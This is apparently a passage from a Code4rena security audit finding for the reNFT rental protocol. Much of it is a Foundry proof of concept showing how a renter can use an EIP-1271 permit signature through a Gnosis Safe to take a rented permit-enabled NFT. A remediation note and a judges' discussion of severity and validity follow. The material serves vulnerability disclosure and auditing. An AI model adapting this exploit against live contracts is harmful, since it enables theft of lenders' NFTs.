RentalItemType.ERC20; } else if (seaportItemType == SeaportItemType.ERC721) { return RentalItemType.ERC721; } else if (seaportItemType == SeaportItemType.ERC1155) { return RentalItemType.ERC1155; } else { revert("seaport item type not supported"); } } function _createRentalOrder( OrderToFulfill memory orderToFulfill ) internal view returns (RentalOrder memory rentalOrder) { // get the order parameters OrderParameters memory parameters = orderToFulfill.advancedOrder.parameters; // get the payload RentPayload memory payload = orderToFulfill.payload; // get the metadata OrderMetadata memory metadata = payload.metadata; // construct a rental order rentalOrder = RentalOrder({ seaportOrderHash: orderToFulfill.orderHash, items: new Item[](parameters.offer.length + parameters.consideration.length), hooks: metadata.hooks, orderType: metadata.orderType, lender: parameters.offerer, renter: payload.intendedFulfiller, rentalWallet: payload.fulfillment.recipient, startTimestamp: block.timestamp, endTimestamp: block.timestamp + metadata.rentDuration }); // for each new offer item being rented, create a new item struct to add to the rental order for (uint256 i = 0; i < parameters.offer.length; i++) { // PAYEE orders cannot have offer items require( metadata.orderType != OrderType.PAYEE, "TEST: cannot have offer items in PAYEE order" ); // get the offer item OfferItem memory offerItem = parameters.offer[i]; // determine the item type RentalItemType itemType = _seaportItemTypeToRentalItemType(offerItem.itemType); // determine which entity the payment will settle to SettleTo settleTo = offerItem.itemType == SeaportItemType.ERC20 ? SettleTo.RENTER : SettleTo.LENDER; // create a new rental item rentalOrder.items[i] = Item({ itemType: itemType, settleTo: settleTo, token: offerItem.token, amount: offerItem.startAmount, identifier: offerItem.identifierOrCriteria }); } // for each consideration item in return, create a new item struct to add to the rental order for (uint256 i = 0; i < parameters.consideration.length; i++) { // PAY orders cannot have consideration items require( metadata.orderType != OrderType.PAY, "TEST: cannot have consideration items in PAY order" ); // get the offer item ConsiderationItem memory considerationItem = parameters.consideration[i]; // determine the item type RentalItemType itemType = _seaportItemTypeToRentalItemType( considerationItem.itemType ); // determine which entity the payment will settle to SettleTo settleTo = metadata.orderType == OrderType.PAYEE && considerationItem.itemType == SeaportItemType.ERC20 ? SettleTo.RENTER : SettleTo.LENDER; // calculate item index offset uint256 itemIndex = i + parameters.offer.length; // create a new payment item rentalOrder.items[itemIndex] = Item({ itemType: itemType, settleTo: settleTo, token: considerationItem.token, amount: considerationItem.startAmount, identifier: considerationItem.identifierOrCriteria }); } } function _signProtocolOrder( uint256 signerPrivateKey, bytes32 payloadHash ) internal view returns (bytes memory signature) { // fetch domain separator from create policy bytes32 domainSeparator = create.domainSeparator(); // sign the EIP-712 digest (uint8 v, bytes32 r, bytes32 s) = vm.sign( signerPrivateKey, domainSeparator.toTypedDataHash(payloadHash) ); // encode the signature signature = abi.encodePacked(r, s, v); } ///////////////////////////////////////////////////////////////////////////////// // Fulfillment Amendments // ///////////////////////////////////////////////////////////////////////////////// function withFulfiller(ProtocolAccount memory _fulfiller) internal { fulfiller = _fulfiller; } function withRecipient(address _recipient) internal { seaportRecipient = _recipient; } function withAdvancedOrder( AdvancedOrder memory _advancedOrder, uint256 orderIndex ) internal { // get a storage pointer to the order to fulfill OrderToFulfill storage orderToFulfill = ordersToFulfill[orderIndex]; // set the new advanced order _createAdvancedOrder(orderToFulfill.advancedOrder, _advancedOrder); } function withSeaportMatchOrderFulfillment(Fulfillment memory _fulfillment) internal { // get a pointer to a new seaport fulfillment Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push(); // set the fulfillment _createSeaportFulfillment( fulfillment, Fulfillment({ offerComponents: _fulfillment.offerComponents, considerationComponents: _fulfillment.considerationComponents }) ); } function withSeaportMatchOrderFulfillments( Fulfillment[] memory fulfillments ) internal { // reset all current seaport match order fulfillments resetSeaportMatchOrderFulfillments(); // add the new offer items to storage for (uint256 i = 0; i < fulfillments.length; i++) { // get a pointer to a new seaport fulfillment Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push(); // set the fulfillment _createSeaportFulfillment( fulfillment, Fulfillment({ offerComponents: fulfillments[i].offerComponents, considerationComponents: fulfillments[i].considerationComponents }) ); } } function withBaseOrderFulfillmentComponents() internal { // create offer fulfillments. We need to specify which offer items can be aggregated // into one transaction. For example, 2 different orders where the same seller is offering // the same item in each. // // Since BASE orders will only contain ERC721 offer items, these cannot be aggregated. So, a separate fulfillment // is created for each order. for (uint256 i = 0; i < ordersToFulfill.length; i++) { // get a pointer to a new offer fulfillment array. This array will contain indexes of // orders and items which are all grouped on whether they can be combined in a single transferFrom() FulfillmentComponent[] storage offerFulfillments = seaportOfferFulfillments .push(); // number of offer items in the order uint256 offerItemsInOrder = ordersToFulfill[i] .advancedOrder .parameters .offer .length; // add a single fulfillment component for each offer item in the order for (uint256 j = 0; j < offerItemsInOrder; j++) { offerFulfillments.push( FulfillmentComponent({orderIndex: i, itemIndex: j}) ); } } // create consideration fulfillments. We need to specify which consideration items can be aggregated // into one transaction. For example, 3 different orders where the same fungible consideration items are // expected in return. // // get a pointer to a new offer fulfillment array. This array will contain indexes of // orders and items which are all grouped on whether they can be combined in a single transferFrom() FulfillmentComponent[] storage considerationFulfillments = seaportConsiderationFulfillments.push(); // BASE orders will only contain ERC20 items, these are fungible and are candidates for aggregation. Because // all of these BASE orders will be fulfilled by the same EOA, and all ERC20 consideration items are going to the // ESCRW contract, the consideration items can be aggregated. In other words, Seaport will only make a single transfer // of ERC20 tokens from the fulfiller EOA to the payment escrow contract. // // put all fulfillments into one which can be an aggregated transfer for (uint256 i = 0; i < ordersToFulfill.length; i++) { considerationFulfillments.push( FulfillmentComponent({orderIndex: i, itemIndex: 0}) ); } } function withLinkedPayAndPayeeOrders( uint256 payOrderIndex, uint256 payeeOrderIndex ) internal { // get the PAYEE order OrderParameters memory payeeOrder = ordersToFulfill[payeeOrderIndex] .advancedOrder .parameters; // For each consideration item in the PAYEE order, a fulfillment should be // constructed with a corresponding item from the PAY order's offer items. for (uint256 i = 0; i < payeeOrder.consideration.length; ++i) { // define the offer components FulfillmentComponent[] memory offerComponents = new FulfillmentComponent[](1); offerComponents[0] = FulfillmentComponent({ orderIndex: payOrderIndex, itemIndex: i }); // define the consideration components FulfillmentComponent[] memory considerationComponents = new FulfillmentComponent[](1); considerationComponents[0] = FulfillmentComponent({ orderIndex: payeeOrderIndex, itemIndex: i }); // get a pointer to a new seaport fulfillment Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push(); // set the fulfillment _createSeaportFulfillment( fulfillment, Fulfillment({ offerComponents: offerComponents, considerationComponents: considerationComponents }) ); } } function resetFulfiller() internal { delete fulfiller; } function resetOrdersToFulfill() internal { delete ordersToFulfill; } function resetSeaportMatchOrderFulfillments() internal { delete seaportMatchOrderFulfillments; } ///////////////////////////////////////////////////////////////////////////////// // Fulfillment Finalization // ///////////////////////////////////////////////////////////////////////////////// function _finalizePayOrderFulfillment( bytes memory expectedError ) private returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder) { // get the orders to fulfill OrderToFulfill memory payOrder = ordersToFulfill[0]; OrderToFulfill memory payeeOrder = ordersToFulfill[1]; // create rental orders payRentalOrder = _createRentalOrder(payOrder); payeeRentalOrder = _createRentalOrder(payeeOrder); // expect an error if error data was provided if (expectedError.length != 0) { vm.expectRevert(expectedError); } // otherwise, expect the relevant event to be emitted. else { vm.expectEmit({emitter: address(create)}); emit Events.RentalOrderStarted( create.getRentalOrderHash(payRentalOrder), payOrder.payload.metadata.emittedExtraData, payRentalOrder.seaportOrderHash, payRentalOrder.items, payRentalOrder.hooks, payRentalOrder.orderType, payRentalOrder.lender, payRentalOrder.renter, payRentalOrder.rentalWallet, payRentalOrder.startTimestamp, payRentalOrder.endTimestamp ); } // the offerer of the PAYEE order fulfills the orders. vm.prank(fulfiller.addr); // fulfill the orders seaport.matchAdvancedOrders( _deconstructOrdersToFulfill(), new CriteriaResolver[](0), seaportMatchOrderFulfillments, seaportRecipient ); // clear structs resetFulfiller(); resetOrdersToFulfill(); resetSeaportMatchOrderFulfillments(); } function finalizePayOrderFulfillment() internal returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder) { (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(bytes("")); } function finalizePayOrderFulfillmentWithError( bytes memory expectedError ) internal returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder) { (payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(expectedError); } function _finalizeBaseOrderFulfillment( bytes memory expectedError ) private returns (RentalOrder memory rentalOrder) { // get the order to fulfill OrderToFulfill memory baseOrder = ordersToFulfill[0]; // create a rental order rentalOrder = _createRentalOrder(baseOrder); // expect an error if error data was provided if (expectedError.length != 0) { vm.expectRevert(expectedError); } // otherwise, expect the relevant event to be emitted. else { vm.expectEmit({emitter: address(create)}); emit Events.RentalOrderStarted( create.getRentalOrderHash(rentalOrder), baseOrder.payload.metadata.emittedExtraData, rentalOrder.seaportOrderHash, rentalOrder.items, rentalOrder.hooks, rentalOrder.orderType, rentalOrder.lender, rentalOrder.renter, rentalOrder.rentalWallet, rentalOrder.startTimestamp, rentalOrder.endTimestamp ); } // the owner of the rental wallet fulfills the advanced order, and marks the rental wallet // as the recipient vm.prank(fulfiller.addr); seaport.fulfillAdvancedOrder( baseOrder.advancedOrder, new CriteriaResolver[](0), conduitKey, seaportRecipient ); // clear structs resetFulfiller(); resetOrdersToFulfill(); resetSeaportMatchOrderFulfillments(); } function finalizeBaseOrderFulfillment() internal returns (RentalOrder memory rentalOrder) { rentalOrder = _finalizeBaseOrderFulfillment(bytes("")); } function finalizeBaseOrderFulfillmentWithError( bytes memory expectedError ) internal returns (RentalOrder memory rentalOrder) { rentalOrder = _finalizeBaseOrderFulfillment(expectedError); } function finalizeBaseOrdersFulfillment() internal returns (RentalOrder[] memory rentalOrders) { // Instantiate rental orders uint256 numOrdersToFulfill = ordersToFulfill.length; rentalOrders = new RentalOrder[](numOrdersToFulfill); // convert each order to fulfill into a rental order for (uint256 i = 0; i < numOrdersToFulfill; i++) { rentalOrders[i] = _createRentalOrder(ordersToFulfill[i]); } // Expect the relevant events to be emitted. for (uint256 i = 0; i < rentalOrders.length; i++) { vm.expectEmit({emitter: address(create)}); emit Events.RentalOrderStarted( create.getRentalOrderHash(rentalOrders[i]), ordersToFulfill[i].payload.metadata.emittedExtraData, rentalOrders[i].seaportOrderHash, rentalOrders[i].items, rentalOrders[i].hooks, rentalOrders[i].orderType, rentalOrders[i].lender, rentalOrders[i].renter, rentalOrders[i].rentalWallet, rentalOrders[i].startTimestamp, rentalOrders[i].endTimestamp ); } // the owner of the rental wallet fulfills the advanced orders, and marks the rental wallet // as the recipient vm.prank(fulfiller.addr); seaport.fulfillAvailableAdvancedOrders( _deconstructOrdersToFulfill(), new CriteriaResolver[](0), seaportOfferFulfillments, seaportConsiderationFulfillments, conduitKey, seaportRecipient, ordersToFulfill.length ); // clear structs resetFulfiller(); resetOrdersToFulfill(); resetSeaportMatchOrderFulfillments(); } function finalizePayOrdersFulfillment() internal returns (RentalOrder[] memory rentalOrders) { // Instantiate rental orders uint256 numOrdersToFulfill = ordersToFulfill.length; rentalOrders = new RentalOrder[](numOrdersToFulfill); // convert each order to fulfill into a rental order for (uint256 i = 0; i < numOrdersToFulfill; i++) { rentalOrders[i] = _createRentalOrder(ordersToFulfill[i]); } // Expect the relevant events to be emitted. for (uint256 i = 0; i < rentalOrders.length; i++) { // only expect the event if its a PAY order if (ordersToFulfill[i].payload.metadata.orderType == OrderType.PAY) { vm.expectEmit({emitter: address(create)}); emit Events.RentalOrderStarted( create.getRentalOrderHash(rentalOrders[i]), ordersToFulfill[i].payload.metadata.emittedExtraData, rentalOrders[i].seaportOrderHash, rentalOrders[i].items, rentalOrders[i].hooks, rentalOrders[i].orderType, rentalOrders[i].lender, rentalOrders[i].renter, rentalOrders[i].rentalWallet, rentalOrders[i].startTimestamp, rentalOrders[i].endTimestamp ); } } // the offerer of the PAYEE order fulfills the orders. For this order, it shouldn't matter // what the recipient address is vm.prank(fulfiller.addr); seaport.matchAdvancedOrders( _deconstructOrdersToFulfill(), new CriteriaResolver[](0), seaportMatchOrderFulfillments, seaportRecipient ); // clear structs resetFulfiller(); resetOrdersToFulfill(); resetSeaportMatchOrderFulfillments(); } function _deconstructOrdersToFulfill() private view returns (AdvancedOrder[] memory advancedOrders) { // get the length of the orders to fulfill advancedOrders = new AdvancedOrder[](ordersToFulfill.length); // build up the advanced orders for (uint256 i = 0; i < ordersToFulfill.length; i++) { advancedOrders[i] = ordersToFulfill[i].advancedOrder; } } } contract SetupReNFT is OrderFulfiller {}

Exploit.sol

// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.20; import { Order, FulfillmentComponent, Fulfillment, ItemType as SeaportItemType, OfferItem, ItemType } from "@seaport-types/lib/ConsiderationStructs.sol"; import {OfferItemLib} from "@seaport-sol/SeaportSol.sol"; import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol"; import {ERC721} from '@openzeppelin-contracts/token/ERC721/ERC721.sol'; import {IERC721} from '@openzeppelin-contracts/token/ERC721/IERC721.sol'; import {Ownable} from "@openzeppelin-contracts/access/Ownable.sol"; import {SetupReNFT} from "./SetupExploit.sol"; import {Assertions} from "@test/utils/Assertions.sol"; import {Constants} from "@test/utils/Constants.sol"; import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol"; import {Enum} from "@safe-contracts/common/Enum.sol"; import "forge-std/console.sol"; contract Exploit is SetupReNFT, Assertions, Constants { using OfferItemLib for OfferItem; function test_NFT_Permit_Exploit() public { NFTWithPermit permitNFT = new NFTWithPermit(); // The NFT token which Alice, the lender, will offer. permitNFT.safeMint(alice.addr, 1); // Approve seaport conduit to spend the token. vm.prank(alice.addr); permitNFT.approve(address(conduit), 1); ///////////////////////////////////////////// // Order Creation & Fulfillment simulation // ///////////////////////////////////////////// // Alice creates a BASE order createOrder({ offerer: alice, orderType: OrderType.BASE, erc721Offers: 1, erc1155Offers: 0, erc20Offers: 0, erc721Considerations: 0, erc1155Considerations: 0, erc20Considerations: 1 }); // Remove the pre-inserted offer item (which is inserted by the tests) popOfferItem(); // Set the NFT which we created as the offer item withOfferItem( OfferItemLib .empty() .withItemType(ItemType.ERC721) .withToken(address(permitNFT)) .withIdentifierOrCriteria(1) .withStartAmount(1) .withEndAmount(1) ); // Finalize the order creation ( Order memory order, bytes32 orderHash, OrderMetadata memory metadata ) = finalizeOrder(); // Create an order fulfillment createOrderFulfillment({ _fulfiller: attacker, order: order, orderHash: orderHash, metadata: metadata }); // Finalize the base order fulfillment RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment(); // get the rental order hash bytes32 rentalOrderHash = create.getRentalOrderHash(rentalOrder); // assert that the rental order was stored assertEq(STORE.orders(rentalOrderHash), true); // assert that the token is in storage assertEq(STORE.isRentedOut(address(attacker.safe), address(permitNFT), 1), true); // assert that the ERC1155 is in the rental wallet of the fulfiller assertEq(permitNFT.balanceOf(address(attacker.safe)), 1); /** ------------------- Exploitation ------------------- */ // Impersonate the attacker vm.startPrank(attacker.addr); // The digest which will be hashed by gnosis then signed by the attacker (owner of the safe). // The format of this digest is taken from the `permit()` function. bytes memory digest = bytes.concat( keccak256( abi.encodePacked( '\x19\x01', permitNFT.DOMAIN_SEPARATOR(), keccak256( abi.encode( permitNFT.PERMIT_TYPEHASH(), attacker.addr, // spender 1, // the token Id permitNFT.tokenIdNonces(1), // get the nonce for the token ID "1" block.timestamp + 10000000 // deadline until which, the call to `permit()` with this signature will be allowed. ) ) ) ) ); // Get the message hash for the digest. bytes32 msgHash = fallbackHandler.getMessageHashForSafe(attacker.safe, digest); // Sign the hashed message and get the signature (r, s, v). (uint8 v, bytes32 r, bytes32 s) = vm.sign(attacker.privateKey, msgHash); // The call to `permit()` -> (address spender, uint256 tokenId, uint256 deadline, v, r, s) bytes memory transaction = abi.encodeWithSelector( ERC721Permit.permit.selector, attacker.addr, // The address of the attacker 1, // The token ID to hijack block.timestamp + 10000000, // the deadline v, r, s ); // Sign the transaction to be sent to gnosis bytes memory transactionSignature = SafeUtils.signTransaction( address(attacker.safe), attacker.privateKey, address(permitNFT), transaction ); // Execute the transaction SafeUtils.executeTransaction( address(attacker.safe), address(permitNFT), transaction, transactionSignature ); // Transfer the NFT from the attacker's safe to the attacker's address. This is the final stage of the exploit permitNFT.transferFrom(address(attacker.safe), address(attacker.addr), 1); vm.stopPrank(); /** -------------- Final checks -------------- */ uint256 attackersBalance = permitNFT.balanceOf(address(attacker.addr)); uint256 attackersSafeBalance = permitNFT.balanceOf(address(attacker.safe)); if (attackersSafeBalance == 0 && attackersBalance == 1) { console.log("Tokens successfully hijacked from the attacker's (borrower) safe!"); } } } // Serves as a replacement for openzeppelin's `isContract` function which `ERC721Permit` relies on, simply because the currently installed openzeppelin version (5.0) for this PoC setup no longer includes the function `isContract` in the `Address` library. library Address { function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } } // Source: https://github.com/Uniswap/v3-periphery/blob/main/contracts/libraries/ChainId.sol /// @title Function for getting the current chain ID library ChainId { /// @dev Gets the current chain ID /// @return chainId The current chain ID function get() internal view returns (uint256 chainId) { assembly { chainId := chainid() } } } // Source: https://github.com/Uniswap/v3-periphery/blob/main/contracts/interfaces/external/IERC1271.sol /// @title Interface for verifying contract-based account signatures /// @notice Interface that verifies provided signature for the data /// @dev Interface defined by EIP-1271 interface IERC1271 { /// @notice Returns whether the provided signature is valid for the provided data /// @dev MUST return the bytes4 magic value 0x1626ba7e when function passes. /// MUST NOT modify state (using STATICCALL for solc < 0.5, view modifier for solc > 0.5). /// MUST allow external calls. /// @param hash Hash of the data to be signed /// @param signature Signature byte array associated with _data /// @return magicValue The bytes4 magic value 0x1626ba7e function isValidSignature(bytes32 hash, bytes memory signature) external view returns (bytes4 magicValue); } /// @title ERC721 with permit /// @notice Extension to ERC721 that includes a permit function for signature based approvals interface IERC721Permit is IERC721 { /// @notice The permit typehash used in the permit signature /// @return The typehash for the permit function PERMIT_TYPEHASH() external pure returns (bytes32); /// @notice The domain separator used in the permit signature /// @return The domain seperator used in encoding of permit signature function DOMAIN_SEPARATOR() external view returns (bytes32); /// @notice Approve of a specific token ID for spending by spender via signature /// @param spender The account that is being approved /// @param tokenId The ID of the token that is being approved for spending /// @param deadline The deadline timestamp by which the call must be mined for the approve to work /// @param v Must produce valid secp256k1 signature from the holder along with `r` and `s` /// @param r Must produce valid secp256k1 signature from the holder along with `v` and `s` /// @param s Must produce valid secp256k1 signature from the holder along with `r` and `v` function permit( address spender, uint256 tokenId, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external payable; } // Source: https://github.com/Uniswap/v3-periphery/blob/main/contracts/base/ERC721Permit.sol /// @title ERC721 with permit /// @notice Nonfungible tokens that support an approve via signature, i.e. permit abstract contract ERC721Permit is ERC721, IERC721Permit { /// @dev Gets the current nonce for a token ID and then increments it, returning the original value function _getAndIncrementNonce(uint256 tokenId) internal virtual returns (uint256); /// @dev The hash of the name used in the permit signature verification bytes32 private immutable nameHash; /// @dev The hash of the version string used in the permit signature verification bytes32 private immutable versionHash; /// @notice Computes the nameHash and versionHash constructor( string memory name_, string memory symbol_, string memory version_ ) ERC721(name_, symbol_) { nameHash = keccak256(bytes(name_)); versionHash = keccak256(bytes(version_)); } /// @inheritdoc IERC721Permit function DOMAIN_SEPARATOR() public view override returns (bytes32) { return keccak256( abi.encode( // keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)') 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f, nameHash, versionHash, ChainId.get(), address(this) ) ); } /// @inheritdoc IERC721Permit /// @dev Value is equal to keccak256("Permit(address spender,uint256 tokenId,uint256 nonce,uint256 deadline)"); bytes32 public constant override PERMIT_TYPEHASH = 0x49ecf333e5b8c95c40fdafc95c1ad136e8914a8fb55e9dc8bb01eaa83a2df9ad; /// @inheritdoc IERC721Permit function permit( address spender, uint256 tokenId, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external payable override { require(block.timestamp <= deadline, 'Permit expired'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR(), keccak256(abi.encode(PERMIT_TYPEHASH, spender, tokenId, _getAndIncrementNonce(tokenId), deadline)) ) ); address owner = ownerOf(tokenId); require(spender != owner, 'ERC721Permit: approval to current owner'); if (Address.isContract(owner)) { require(IERC1271(owner).isValidSignature(digest, abi.encodePacked(r, s, v)) == 0x1626ba7e, 'Unauthorized'); } else { address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0), 'Invalid signature'); require(recoveredAddress == owner, 'Unauthorized'); } _approve(spender, tokenId); } } contract NFTWithPermit is ERC721, ERC721Permit, Ownable { mapping(uint256 tokenId => uint256 nonce) public tokenIdNonces; constructor() ERC721Permit("MyNFT", "MNFT", "1.1") Ownable(msg.sender) {} function _getAndIncrementNonce(uint256 tokenId) internal override returns (uint256) { uint256 tokenIdNonce = tokenIdNonces[tokenId]; tokenIdNonces[tokenId] += 1; return tokenIdNonce; } function safeMint(address to, uint256 tokenId) public onlyOwner { _safeMint(to, tokenId); } }

Impact

This allows an attacker to hijack any NFT implementing the permit() function.

Remediation

One way to remediate this is to add a check in the FallbackManager.sol contract in the gnosis safe contracts. This check should check if the function selector is equivalent to isValidSignature(bytes32,bytes) and the msg.sender is an address of a NFT token that is rented in the reNFT protocol.

Assessed type

Access Control

c4-pre-sort commented 8 months ago

141345 marked the issue as duplicate of #323

141345 commented 8 months ago

need to take a close look at the dup, https://github.com/code-423n4/2024-01-renft-findings/issues/302 is not quite the same.

c4-sponsor commented 7 months ago

Alec1017 (sponsor) acknowledged

Alec1017 commented 7 months ago

Non-standard ERC implementations were considered out of scope, but regardless we do plan on adding a whitelist for tokens interacting with the protocol

0xean commented 7 months ago

While the permit functionality is not part of the specification for ERC 721 (nor ERC20) I don't think it would be reasonable to call this out of scope. I do think that its a pre-condition for this attack and therefore might be better classified as M severity. Would welcome more conversation if the sponsor disagrees strongly, but think this is a valid issue that isn't a "gotcha" like some of the other odd ERC20 token exploits.

c4-judge commented 7 months ago

0xean changed the severity to 2 (Med Risk)

c4-judge commented 7 months ago

0xean marked the issue as satisfactory

c4-judge commented 7 months ago

0xean marked the issue as duplicate of #323

stalinMacias commented 7 months ago

Hey @0xean

I believe this report should be de-duplicated from #302 and #323 and they should be marked as invalid (#323 however, discusses two issues, one valid (burnable bug), one invalid (permit)).

While they are saying that there is an issue with permit(), they are providing a completely wrong root cause, wrong explanation of the issue and of how permit() itself works, and they provide zero written or coded PoC for this particular issue. This bug is very different in it's nature from the burnable tokens bug.

What both reports are saying is that the guard doesn't protect against the permit() function selector, allowing a rental safe owner (attacker) to execute a call to permit() and hijack the tokens. From #302

Guard doesn't block ERC721Permit's permit function. A renter can execute a transaction on the safe that calls this function in which they approve themselves and then steal the NFT. This is possible by calling rentalSafe.executeTransaction() with a CALL operation.

In reality, there is absolutely no need for an attacker to call permit() through the rental safe to exploit this. permit() itself doesn't care about who is the msg.sender, it only cares about the signature you provide it. Therefore, adding permit() to the guard's list of blacklisted function selectors is totally useless.

Let me simplify how permit() itself works: If, for example, Jack owns the NFT ID 6 and he signs a message saying "I, Jack, approve Sean to spend the NFT of ID 6 which I own", and then jack gave this signature to anybody. If anybody called permit() and gave it this signature, it'll will simply check the owner of the NFT and check if it's indeed the owner (Jack) who signed this message, then it will make the approval and let Sean spend the NFT. It doesn't matter who made the call to permit() as I stated.

How this would be exploited would be as following (explained previously in report):

The attacker (EOA) rents a permittable NFT on his rental safe
The attacker (EOA) signs a digest approving himself (EOA addr or another contract he owns) to spend the token.
The attacker, from any contract/EOA account other than the rental safe, sends a call to permit() and supply it with the signature
Permit will check who the owner of the NFT is, in this case it's the attacker's rental safe (smart contract), so it'll reach out to the rental safe and ask it if the signature provided is valid (EIP-1271)
Gnosis will verify that the signature is indeed signed by the owner of the safe, so it'll return the magic 4 bytes
Permit will conduct the approval

A full-fledged coded PoC is attached in the report.

To conclude, as I stated earlier, this bug can never be fixed by just adding permit() to the guard's list of blacklisted function selectors (their suggested fix). The guard itself can never protect against this. One effective way to fix it is included in this report, it'll involve making a small modification to the Gnosis safe contracts.

I do think that its a pre-condition for this attack and therefore might be better classified as M severity.

Regarding severity, I personally think this should be a High if we consider the burnable tokens bug to be a Med. Simply because this bug allows for the hijacking of the NFT completely. That would be a higher impact than being able to make stopRent() revert while not being able to remove NFT from the safe and the attacker will get to own and use the NFT forever, unlike the burnable bug where it's gone if he burns it.

0xNentoR commented 7 months ago

Hey @stalinMacias @0xean

SetupExploit.sol:

function _fundWalletAndDeployRentalSafe(
    string memory name
) internal returns (ProtocolAccount memory account) {
    // create a wallet with a address, public key, and private key
    Vm.Wallet memory wallet = vm.createWallet(name);

    // deploy a rental safe for the address
    address rentalSafe = _deployRentalSafe(wallet.addr, name);

    // fund the wallet with ether, all erc20s, and approve the conduit for erc20s, erc721s, erc1155s
    _allocateTokensAndApprovals(wallet.addr, 10000);

    // create an account
    account = ProtocolAccount({
        addr: wallet.addr,
        safe: SafeL2(payable(rentalSafe)),
        publicKeyX: wallet.publicKeyX,
        publicKeyY: wallet.publicKeyY,
        privateKey: wallet.privateKey
    });
}

The assumed way of setting up the wallet here seems incorrect. From the discussions I had with the sponsor, the rental safes will be deployed by the protocol admins only, not arbitrary lenders.

Exploit.sol:

/** ------------------- Exploitation ------------------- */

// Impersonate the attacker
vm.startPrank(attacker.addr);

// The digest which will be hashed by gnosis then signed by the attacker (owner of the safe).
// The format of this digest is taken from the `permit()` function.
bytes memory digest = bytes.concat(
    keccak256(
        abi.encodePacked(
            '\x19\x01',
            permitNFT.DOMAIN_SEPARATOR(),
            keccak256(
                abi.encode(
                    permitNFT.PERMIT_TYPEHASH(), 
                    attacker.addr, // spender
                    1, // the token Id
                    permitNFT.tokenIdNonces(1), // get the nonce for the token ID "1"
                    block.timestamp + 10000000 // deadline until which, the call to `permit()` with this signature will be allowed.
                )
            )
        )
    )
);        

// Get the message hash for the digest.
bytes32 msgHash = fallbackHandler.getMessageHashForSafe(attacker.safe, digest);

// Sign the hashed message and get the signature (r, s, v).
(uint8 v, bytes32 r, bytes32 s) = vm.sign(attacker.privateKey, msgHash);

// The call to `permit()` -> (address spender, uint256 tokenId, uint256 deadline, v, r, s)
bytes memory transaction = abi.encodeWithSelector(
    ERC721Permit.permit.selector,
    attacker.addr, // The address of the attacker
    1, // The token ID to hijack
    block.timestamp + 10000000, // the deadline
    v,
    r,
    s
);

// Sign the transaction to be sent to gnosis
bytes memory transactionSignature = SafeUtils.signTransaction(
    address(attacker.safe),
    attacker.privateKey,
    address(permitNFT),
    transaction
);

// Execute the transaction
SafeUtils.executeTransaction(
    address(attacker.safe),
    address(permitNFT),
    transaction,
    transactionSignature
);

// Transfer the NFT from the attacker's safe to the attacker's address. This is the final stage of the exploit
permitNFT.transferFrom(address(attacker.safe), address(attacker.addr), 1);

vm.stopPrank();

The exploit demonstrated here needs to have access to the private key of the deployer of the rental safe, which shouldn't be the case unless the accounts of the protocol admins got hacked (such impact would be out of scope).

In reality, there is absolutely no need for an attacker to call permit() through the rental safe to exploit this.

This claim is correct even though the POC doesn't demonstrate it, changing the following:

// Execute the transaction
SafeUtils.executeTransaction(
  address(attacker.safe),
  address(permitNFT),
  transaction,
  transactionSignature
);

to the following:

vm.stopPrank(); // move this statement up here, this is for "attacker.addr"

permitNFT.permit(
    attacker.addr, // The address of the attacker
    1, // The token ID to hijack
    block.timestamp + 10000000, // the deadline
    v,
    r,
    s
);

will still allow for the NFT to be transferred, even though the call doesn't go through the safe. Then, the approved address can call transferFrom() directly on the NFT and steal it.

In the end, it seems like all the issues related to permit() might be invalid.

stalinMacias commented 7 months ago

@0xNentoR

The assumed way of setting up the wallet here seems incorrect. From the discussions I had with the sponsor, the rental safes will be deployed by the protocol admins only, not arbitrary lenders.

You are confusing wallets with rental safes which are contracts. You as an EOA account can ask reNFT to create a rental safe to rent the NFTs on by calling the function deployRentalSafe().

The setting up of a wallet itself here is totally correct, I actually copied it from the actual tests.

The rental safes will indeed be deployed by the protocol itself, I never said otherwise. The safe will be controllable / owned by the borrower however.

The exploit demonstrated here needs to have access to the private key of the deployer of the rental safe, which shouldn't be the case unless the accounts of the protocol admins got hacked (such impact would be out of scope).

That doesn't make any sense.

The deployer of the rental safe isn't an EOA, but a smart contract, it's the Factory.sol contract. And smart contracts do not have private keys
The private key used to sign the digest in the exploit, is the attacker's private key (owner of the rental safe).

Please notice the line vm.startPrank(attacker.addr); which will impersonate the attacker (owner of the rental safe), when vm.sign() is utilized, the private key of the attacker (EOA set as the owner of the rental safe) is the ones which will be utilized.

This claim is correct even though the POC doesn't demonstrate it, changing the following:

The PoC perfectly demonstrates the exploitation of the vulnerability from very scratch, and the PoC was actually confirmed by the sponsor himself (@Alec1017). The minor detail you're pointing at doesn't affect the validity of the PoC or the bug. The permit() function as I pointed out, doesn't care who is the caller msg.sender, it just cares about the signature you give it.

In the end, it seems like all the issues related to permit() might be invalid.

Your report #302 I believe is indeed invalid. It fails to pinpoint the root cause of the issue, provides wrong explanation of the vulnerability itself, provides wrong mitigation and has no PoC.

But the permit() issue itself is indeed valid as explained in the report and in the PoC. The sponsor can also confirm. @Alec1017

0xNentoR commented 7 months ago

@stalinMacias

The rental safes will indeed be deployed by the protocol itself, I never said otherwise. The safe will be controllable / owned by the borrower however.

Right, I overlooked the fact that the ownership gets transferred upon initialization of the safe.

The deployer of the rental safe isn't an EOA, but a smart contract, it's the Factory.sol contract. And smart contracts do not have private keys

The private key used to sign the digest in the exploit, is the attacker's private key (owner of the rental safe).

